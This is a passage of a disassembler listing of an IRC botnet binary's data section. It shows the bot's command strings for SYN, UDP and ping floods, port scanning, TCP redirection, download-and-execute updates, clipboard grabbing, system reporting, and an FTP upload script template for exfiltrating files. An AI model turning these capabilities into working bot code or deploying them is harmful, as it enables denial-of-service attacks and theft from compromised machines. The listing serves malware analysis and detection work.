%s.',0 align 4 dword_41EC84 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_4077FD+2879o dword_41EC90 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27FDo ; sub_4077FD+2DB9o dword_41EC9C dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27CEo unk_41ECA8 db 1Fh ; DATA XREF: sub_4077FD:loc_409FA2o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_41ECE0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 74616570h ; DATA XREF: sub_4077FD+276Ao dd 7325203Ah, 0 dword_41ECFC dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: sub_4077FD+269Ao ; sub_4077FD+2744o ... unk_41ED10 db 1Fh ; DATA XREF: sub_4077FD+2626o db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aBotIdMustBeDif db 'Bot ID must be different than current running process.',0 align 4 unk_41ED58 db 1Fh ; DATA XREF: sub_4077FD+25FEo db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToStartD db 'Failed to start download thread, error: <%d>.',0 align 4 unk_41ED98 db 1Fh ; DATA XREF: sub_4077FD+259Fo db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aDownloadingUpd db 'Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_4077FD+24FAo align 4 dword_41EDD4 dd 265021Fh, 6365781Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh ; DATA XREF: sub_4077FD+248Do dd 203A7364h, 7325h unk_41EDF0 db 1Fh ; DATA XREF: sub_4077FD+247Ao db 2, 65h, 2 db 1Fh db 78h, 65h, 63h db 20h db 2, 0BBh, 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 dword_41EE18 dd 266021Fh, 656C691Fh, 2BB0220h, 0BBh ; DATA XREF: sub_4077FD:loc_409B9Ao ; sub_4077FD:loc_40A31Eo unk_41EE28 db 1Fh ; DATA XREF: sub_4077FD+2388o db 2, 66h, 2 db 1Fh db 69h, 6Ch, 65h db 20h db 2, 0BBh, 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h dword_41EE50 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+2328o aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 dword_41EE88 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+22CCo aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 unk_41EEB8 db 1Fh ; DATA XREF: sub_4077FD+223Do db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 unk_41EEF8 db 1Fh ; DATA XREF: sub_4077FD+21E4o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_41EF28 db 1Fh ; DATA XREF: sub_4077FD+20FCo db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_41EF6C db 1Fh ; DATA XREF: sub_4077FD+20A3o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_41EFAC db 1Fh ; DATA XREF: sub_4077FD+1FA8o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_41EFE8 db 1Fh ; DATA XREF: sub_4077FD+1F0Do ; sub_4077FD+2001o ... db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_4 db ' Failed to start scan thread, error: <%d>.',0 unk_41F020 db 1Fh ; DATA XREF: sub_4077FD+1EB4o ; sub_4077FD+3016o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_4077FD+1E89o ; sub_4077FD+2FEBo align 4 aRandom db 'Random',0 ; DATA XREF: sub_4077FD+1E82o ; sub_4077FD+2FE4o align 4 unk_41F09C db 1Fh ; DATA XREF: sub_4077FD+1D41o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_5 db ' Failed to start scan, no IP specified.',0 align 4 unk_41F0D4 db 1Fh ; DATA XREF: sub_4077FD+1CE1o ; sub_4077FD:loc_40A8D1o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_6 db ' Failed to start scan, port is invalid.',0 align 4 unk_41F10C db 1Fh ; DATA XREF: sub_4077FD+1BFFo ; sub_4077FD+2E34o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_41F14C dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+1B9Eo aFailedToStar_7 db ' Failed to start flood thread, error: <%d>.',0 align 8 dword_41F188 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+1B3Fo aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_4077FD+1A73o align 4 aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4077FD+1A49o align 10h aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).' ; DATA XREF: sub_4077FD+19EAo db 0 align 4 dword_41F264 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_4090F0o aUploadingFileS db ' Uploading file: %s to: %s failed.',0 align 4 dword_41F294 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+18ECo aUploadingFil_0 db ' Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_4077FD+18D3o aSS_4 db '-s:%s',0 ; DATA XREF: sub_4077FD+18BCo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_4077FD+189Eo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_4077FD+1879o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_4077FD+1868o align 4 dword_41F304 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+17EAo aFileNotFoundS_ db ' File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_4077FD+17C7o align 10h aP: ; DATA XREF: sub_4077FD+17A3o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_4077FD+178Eo align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_4077FD+1779o align 4 aU: ; DATA XREF: sub_4077FD+1764o unicode 0, <u>,0 aUdp_0 db 'udp',0 ; DATA XREF: sub_4077FD+174Fo aUdpflood db 'udpflood',0 ; DATA XREF: sub_4077FD+173Ao align 4 aAas db 'aas',0 ; DATA XREF: sub_4077FD+1725o aAss db 'ass',0 ; DATA XREF: sub_4077FD+1710o aPsc db 'psc',0 ; DATA XREF: sub_4077FD+16E9o aPortscan db 'portscan',0 ; DATA XREF: sub_4077FD+16D4o align 4 aRd db 'rd',0 ; DATA XREF: sub_4077FD+16BFo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_4077FD+16AAo align 4 aKktt db 'kktt',0 ; DATA XREF: sub_4077FD+1680o ; sub_4077FD+1695o align 4 aSyn_0 db 'syn',0 ; DATA XREF: sub_4077FD+166Bo aSynflood db 'synflood',0 ; DATA XREF: sub_4077FD+1656o align 4 aMv db 'mv',0 ; DATA XREF: sub_4077FD+162Fo align 10h aRename db 'rename',0 ; DATA XREF: sub_4077FD+161Ao align 4 aE: ; DATA XREF: sub_4077FD+1605o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_4077FD+15F0o aKkttupw db 'kkttupw',0 ; DATA XREF: sub_4077FD+15C6o ; sub_4077FD+15DBo aDelay db 'delay',0 ; DATA XREF: sub_4077FD+159Co align 4 aRp db 'rp',0 ; DATA XREF: sub_4077FD+1587o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_4077FD+1572o ; sub_4077FD+2717o align 10h aM: ; DATA XREF: sub_4077FD+155Do unicode 0, <m>,0 aMode db 'mode',0 ; DATA XREF: sub_4077FD+1548o align 4 aCy db 'cy',0 ; DATA XREF: sub_4077FD+1533o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_4077FD+151Eo align 4 aA_0: ; DATA XREF: sub_4077FD+1509o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_4077FD+14F4o align 4 aPm db 'pm',0 ; DATA XREF: sub_4077FD+14DFo align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_4077FD+14CAo aAa db 'aa',0 ; DATA XREF: sub_4077FD+14B5o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_4077FD+14A0o align 10h aGh db 'gh',0 ; DATA XREF: sub_4077FD+1479o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_4077FD+1464o aRf db 'rf',0 ; DATA XREF: sub_4077FD+144Fo align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_4077FD+143Ao align 4 aMirc_0 db 'mirc',0 ; DATA XREF: sub_4077FD+1425o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_4077FD+1410o aDel db 'del',0 ; DATA XREF: sub_4077FD+13FBo aDelete db 'delete',0 ; DATA XREF: sub_4077FD+13E6o align 4 aKi db 'ki',0 ; DATA XREF: sub_4077FD+13D1o align 4 aKill db 'kill',0 ; DATA XREF: sub_4077FD+13BCo align 4 aKp db 'kp',0 ; DATA XREF: sub_4077FD+13A7o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_4077FD+1392o align 4 aDn db 'dn',0 ; DATA XREF: sub_4077FD+137Do align 4 aDns db 'dns',0 ; DATA XREF: sub_4077FD+1368o aSew db 'sew',0 ; DATA XREF: sub_4077FD+1353o aServerw db 'serverw',0 ; DATA XREF: sub_4077FD+133Eo aO: ; DATA XREF: sub_4077FD+1329o unicode 0, <o>,0 aPrw db 'prw',0 ; DATA XREF: sub_4077FD+12FFo aPrefixw db 'prefixw',0 ; DATA XREF: sub_4077FD+12EAo aK: ; DATA XREF: sub_4077FD+12D5o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_4077FD+12C0o align 4 aRaw db 'raw',0 ; DATA XREF: sub_4077FD+1296o aPt db 'pt',0 ; DATA XREF: sub_4077FD+1281o align 10h aPart_0 db 'part',0 ; DATA XREF: sub_4077FD+126Co align 4 aJ: ; DATA XREF: sub_4077FD+1257o unicode 0, <j>,0 aJoin db 'join',0 ; DATA XREF: sub_4077FD+1242o align 4 aN: ; DATA XREF: sub_4077FD+122Do unicode 0, <n>,0 aNick_0 db 'nick',0 ; DATA XREF: sub_4077FD+1218o align 10h aAlls db 'alls',0 ; DATA XREF: sub_4077FD+11DCo ; sub_4077FD+11F1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_4077FD+11C7o align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_4077FD+11B2o align 4 aCip db 'cip',0 ; DATA XREF: sub_4077FD+119Do aCurrentip db 'currentip',0 ; DATA XREF: sub_4077FD+1188o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_4077FD+1173o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_4077FD+115Eo align 10h aFarp db 'farp',0 ; DATA XREF: sub_4077FD+1149o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_4077FD+1134o align 4 aGc db 'gc',0 ; DATA XREF: sub_4077FD+111Fo align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_4077FD+110Ao unk_41F520 db 1Fh ; DATA XREF: sub_4077FD+10FFo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_4077FD+10CBo ; sub_40C11F+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_4077FD+10BEo aLoginList db '-[Login List]-',0 ; DATA XREF: sub_4077FD+109Co align 4 aWho db 'who',0 ; DATA XREF: sub_4077FD+1083o aDrv db 'drv',0 ; DATA XREF: sub_4077FD+106Eo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_4077FD+1059o align 4 aUp db 'up',0 ; DATA XREF: sub_4077FD+1044o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_4077FD+102Fo align 4 aPs db 'ps',0 ; DATA XREF: sub_4077FD+101Ao align 4 aProcs db 'procs',0 ; DATA XREF: sub_4077FD+1005o align 10h aRrmm010kt db 'rrmm010kt',0 ; DATA XREF: sub_4077FD+FDBo ; sub_4077FD+FF0o align 4 aSi db 'si',0 ; DATA XREF: sub_4077FD+FC6o align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_4077FD+FB1o aNi db 'ni',0 ; DATA XREF: sub_4077FD+F9Co align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_4077FD+F87o aAl db 'al',0 ; DATA XREF: sub_4077FD+F72o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_4077FD+F5Do aT: ; DATA XREF: sub_4077FD+F48o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_4077FD+F33o unk_41F5CC db 1Fh ; DATA XREF: sub_4077FD+EFFo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedToReboot db ' Failed to reboot system.',0 align 4 unk_41F5F4 db 1Fh ; DATA XREF: sub_4077FD+EF8o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aRebootingSyste db ' Rebooting system.',0 aReboot db 'reboot',0 ; DATA XREF: sub_4077FD+EE1o align 4 aIdw db 'idw',0 ; DATA XREF: sub_4077FD+EB7o ; sub_4077FD+ECCo aS_2: ; DATA XREF: sub_4077FD+EA2o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_4077FD+E8Do align 4 aQ: ; DATA XREF: sub_4077FD+E78o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_4077FD+E63o align 4 aD: ; DATA XREF: sub_4077FD+E4Eo unicode 0, <d>,0 aDisconnect db 'disconnect',0 ; DATA XREF: sub_4077FD+E39o align 4 aR: ; DATA XREF: sub_4077FD+E24o ; sub_4077FD+12ABo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_4077FD+E0Fo align 4 aStats db 'stats',0 ; DATA XREF: sub_4077FD+DFAo align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_4077FD+DE5o align 4 aRooting db 'Rooting',0 ; DATA XREF: sub_4077FD+DDAo aProcess db 'process',0 ; DATA XREF: sub_4077FD+DD5o aScanstop db 'scanstop',0 ; DATA XREF: sub_4077FD+DBCo align 4 aSecure_1 db 'SECURE ',0 ; DATA XREF: sub_4077FD+DB1o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_4077FD+DACo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_4077FD+D93o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_4077FD+D7Eo align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_4077FD+D69o align 4 aTftp_0 db 'TFTP ',0 ; DATA XREF: sub_4077FD+D5Eo align 4 aServer db 'Server',0 ; DATA XREF: sub_4077FD+D59o align 4 aTftpstop db 'tftpstop',0 ; DATA XREF: sub_4077FD+D40o align 4 aPing_1 db 'PING ',0 ; DATA XREF: sub_4077FD+D35o align 10h aPingFlood db 'Ping flood',0 ; DATA XREF: sub_4077FD+D30o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_4077FD+D17o align 4 aUdp db 'UDP ',0 ; DATA XREF: sub_4077FD+D0Co align 10h aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_4077FD+D07o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_4077FD+CEEo aSyn db 'SYN ',0 ; DATA XREF: sub_4077FD+CE3o align 4 aSynFlood db 'Syn flood',0 ; DATA XREF: sub_4077FD+CDEo align 4 aSynstop db 'synstop',0 ; DATA XREF: sub_4077FD+CC5o aRedirect_0 db 'REDIRECT ',0 ; DATA XREF: sub_4077FD+CBAo align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_4077FD+CB5o align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_4077FD+C9Co align 4 aLog db 'LOG ',0 ; DATA XREF: sub_4077FD+C91o align 4 aLogList db 'Log list',0 ; DATA XREF: sub_4077FD+C8Co align 10h aLogstop db 'logstop',0 ; DATA XREF: sub_4077FD+C73o aUnsec db 'unsec',0 ; DATA XREF: sub_4077FD+C5Eo align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_4077FD+C49o align 4 aSec db 'sec',0 ; DATA XREF: sub_4077FD+C34o ; sub_4077FD+378Do aSecure db 'secure',0 ; DATA XREF: sub_4077FD+C1Fo ; sub_4077FD+377Co align 4 aVerw db 'verw',0 ; DATA XREF: sub_4077FD+C0Ao align 10h aVersionw db 'versionw',0 ; DATA XREF: sub_4077FD+BF5o align 4 aLo db 'lo',0 ; DATA XREF: sub_4077FD+BE0o align 10h aLogout db 'logout',0 ; DATA XREF: sub_4077FD+BCBo align 4 aDe db 'de',0 ; DATA XREF: sub_4077FD+BB6o ; sub_4077FD+15B1o align 4 aDie db 'die',0 ; DATA XREF: sub_4077FD+BA1o aRn db 'rn',0 ; DATA XREF: sub_4077FD+B8Co align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_4077FD+B77o a63 db '63',0 ; DATA XREF: sub_4077FD+A64o align 10h asc_41F7D0: ; DATA XREF: sub_4077FD+A45o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_4077FD+A11o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_4077FD+A06o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_4077FD+9F5o align 10h aChan db '$chan',0 ; DATA XREF: sub_4077FD+9DCo align 4 aUser_2 db '$user',0 ; DATA XREF: sub_4077FD+9CBo align 10h aMe db '$me',0 ; DATA XREF: sub_4077FD+9B9o aD_0 db '$%d',0 ; DATA XREF: sub_4077FD+951o aD_1 db '$%d-',0 ; DATA XREF: sub_4077FD+8B3o align 10h dword_41F810 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_4077FD+845o dd 0A0Dh dword_41F828 dd 4E495001h, 47h ; DATA XREF: sub_4077FD+811o dword_41F830 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_4077FD+806o dd 0D017325h, 0Ah dword_41F84C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_4077FD+7D5o dword_41F858 dd 77h ; DATA XREF: sub_4077FD+693o ; sub_4077FD+6A8o dword_41F85C dd 323333h ; DATA XREF: sub_4077FD+606o ; sub_4077FD+6CAo ... unk_41F860 db 1Fh ; DATA XREF: sub_4077FD+587o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUserSLoggedOut db ' User: %s logged out.',0 align 4 a353 db '353',0 ; DATA XREF: sub_4077FD+537o aPart db 'PART',0 ; DATA XREF: sub_4077FD+4E9o ; sub_4077FD+5A4o align 10h aSS_0 db ':%s%s',0 ; DATA XREF: sub_4077FD+4C1o align 4 aNick db 'NICK',0 ; DATA XREF: sub_4077FD+3ADo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+350o ; sub_4077FD+5C8o unk_41F8B0 db 1Fh ; DATA XREF: sub_4077FD+337o ; sub_4077FD+38D0o ... db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_4077FD+2D4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+27Fo ; sub_4077FD+2DD5o ... align 4 a433 db '433',0 ; DATA XREF: sub_4077FD+257o a@: ; DATA XREF: sub_4077FD+225o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_4077FD+215o a005 db '005',0 ; DATA XREF: sub_4077FD+200o a001 db '001',0 ; DATA XREF: sub_4077FD+1EBo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+1CFo ; sub_4077FD+39Ao ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+1AEo align 4 aPing db 'PING',0 ; DATA XREF: sub_4077FD+194o align 10h asc_41F920: ; DATA XREF: sub_4077FD+185o ; sub_4077FD+39C4o unicode 0, <!>,0 asc_41F924: ; DATA XREF: sub_4077FD+A1o ; sub_4077FD+B1Bo unicode 0, < >,0 asc_41F928 db ' :',0 ; DATA XREF: sub_4077FD+7Fo ; sub_4077FD:loc_40804Co align 4 dword_41F92C dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_40B359+48o aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 dword_41F958 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_40B3F5+295o aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B6FE+39o align 8 aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B807+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40B807+1AEo align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B807+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B807:loc_40B96Bo align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_40B807+EBo a2003 db '2003',0 ; DATA XREF: sub_40B807+BAo align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BABB+ABo align 10h off_41FAE0 dd offset loc_412F4C+2 ; DATA XREF: sub_40BABB:loc_40BB2Fo dword_41FAE4 dd 4E414Ch ; DATA XREF: sub_40BABB:loc_40BB28o dword_41FAE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BABB+5Eo dword_41FAF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BABB+48o dword_41FB00 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40BB81+47Do unk_41FB0C db 1Fh ; DATA XREF: sub_40BB81+3B6o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFileNotFoundSS db ' File not found: %s (%s).',0 align 4 dword_41FB34 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40BB81+399o dword_41FB48 dd 21F5B1Fh, 64643168h, 1F026E33h, 0BB201F5Dh, 2520BBBBh ; DATA XREF: sub_40BB81+344o dd 72202C73h, 696E6E75h, 2520676Eh, 73h unk_41FB6C db 1Fh ; DATA XREF: sub_40BB81+15Ao db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToOpenFi db ' Failed to open file: %s.',0 align 4 unk_41FB94 db 1Fh ; DATA XREF: sub_40BB81+6Ao db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_40BB81+Fo align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_40C11F+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_40C2EA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C2EA+35o align 10h dword_41FC30 dd 76E2CEACh ; DATA XREF: sub_40CB55+4w sub_40CB5Fr ... align 10h dword_41FC40 dd 173Fh ; DATA XREF: sub_40CDEA+Dr dd 9875h, 9873h off_41FC4C dd offset sub_40CEB9 ; DATA XREF: sub_40E785r dd offset nullsub_2 dd offset nullsub_2 dword_41FC58 dd 1B3Fh ; DATA XREF: sub_40CF33+Dr dword_41FC5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_40D3B5+2o ; sub_40D3BE+2o off_41FC70 dd offset sub_40E7C3 ; DATA XREF: sub_40EC7A+1Cr dword_41FC74 dd 2 ; DATA XREF: sub_414640+Er ; sub_414679+46r ... off_41FC78 dd offset aNull_0 ; DATA XREF: sub_40EDD8:loc_40F13Cr ; sub_40EDD8+457r ; "(null)" off_41FC7C dd offset aNull ; DATA XREF: sub_40EDD8+259r ; "(null)" dword_41FC80 dd 0D2D0920h, 5Dh ; DATA XREF: sub_40F5E2:loc_40FB49o dword_41FC88 dd 5Dh, 10h ; DATA XREF: sub_40F5E2:loc_40FA39o off_41FC90 dd offset off_41FC90 ; DATA XREF: sub_410DC7+Do ; sub_410DC7+69o ... off_41FC94 dd offset off_41FC90 ; DATA XREF: sub_410DC7:loc_410E47r ; sub_410DC7+89w ... dd offset dword_41FCA8 dd offset dword_41FCA8 dword_41FCA0 dd 0FFFFFFFFh ; DATA XREF: sub_410DC7r ; sub_410F0B:loc_410F58w dd 0FFFFFFFFh dword_41FCA8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .nsp0:0041FC98o ; .nsp0:0041FC9Co off_421CB0 dd offset off_41FC90 ; DATA XREF: sub_410F0B+15r ; sub_410F0B+20w ... dword_421CB4 dd 1E0h ; DATA XREF: sub_40CD0D:loc_40CD49r ; sub_40DB08+185r ... dword_421CB8 dd 14h ; DATA XREF: sub_411AF7+2o off_421CBC dd offset aExp ; DATA XREF: sub_411AF7:loc_411B14r ; "exp" dd 1Dh, 41879Ch, 1Ah, 418798h, 1Bh, 418790h, 1Fh, 418788h dd 13h, 418780h, 21h, 418778h, 0Eh, 418770h, 0Dh, 418768h dd 0Fh, 418760h, 10h, 418758h, 5, 418750h, 1Eh, 41874Ch dd 12h, 418748h, 20h, 418744h, 0Ch, 41873Ch, 0Bh, 418734h dd 15h, 41872Ch, 1Ch, 418724h, 19h, 41871Ch, 11h, 418714h dd 18h, 41870Ch, 16h, 418704h, 17h, 4186FCh, 22h, 4186F8h dd 23h, 4186F4h, 24h, 4186F0h dbl_421D90 dq 1.797693134862316e308 ; DATA XREF: sub_411832+B7r ; sub_411832:loc_411919r ... dd 0 dd 0FFF80000h dbl_421DA0 dq 1.797693134862316e308 ; DATA XREF: sub_411832+92r ; sub_411832:loc_4118F1r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_421DB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_411CDF+Dr ; sub_411CDF+1Fr align 4 tbyte_421DC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_411CDF+31r align 10h off_421DD0 dd offset sub_412173 ; DATA XREF: sub_40CED1+Fw ; sub_40EDD8+3AAr off_421DD4 dd offset sub_411E08 ; DATA XREF: sub_40CED1+5w ; sub_40EDD8+3E2r off_421DD8 dd offset sub_411E6E ; DATA XREF: sub_40CED1+14w ; sub_40F5E2+430r off_421DDC dd offset sub_411DAE ; DATA XREF: sub_40CED1+1Ew ; sub_40EDD8+3CBr off_421DE0 dd offset sub_411E56 ; DATA XREF: sub_40CED1+28w off_421DE4 dd offset sub_412173 ; DATA XREF: sub_40CED1+32w dd offset sub_41537C align 10h dd offset sub_412A3C off_421DF4 dd offset sub_412A3C ; DATA XREF: sub_412A92+29r off_421DF8 dd offset word_421E02 ; DATA XREF: sub_40D934+23r ; sub_40D934:loc_40D995r ... dd offset word_421E02 db 2 dup(0) word_421E02 dw 20h ; DATA XREF: sub_415FD3+18r ; .nsp0:off_421DF8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 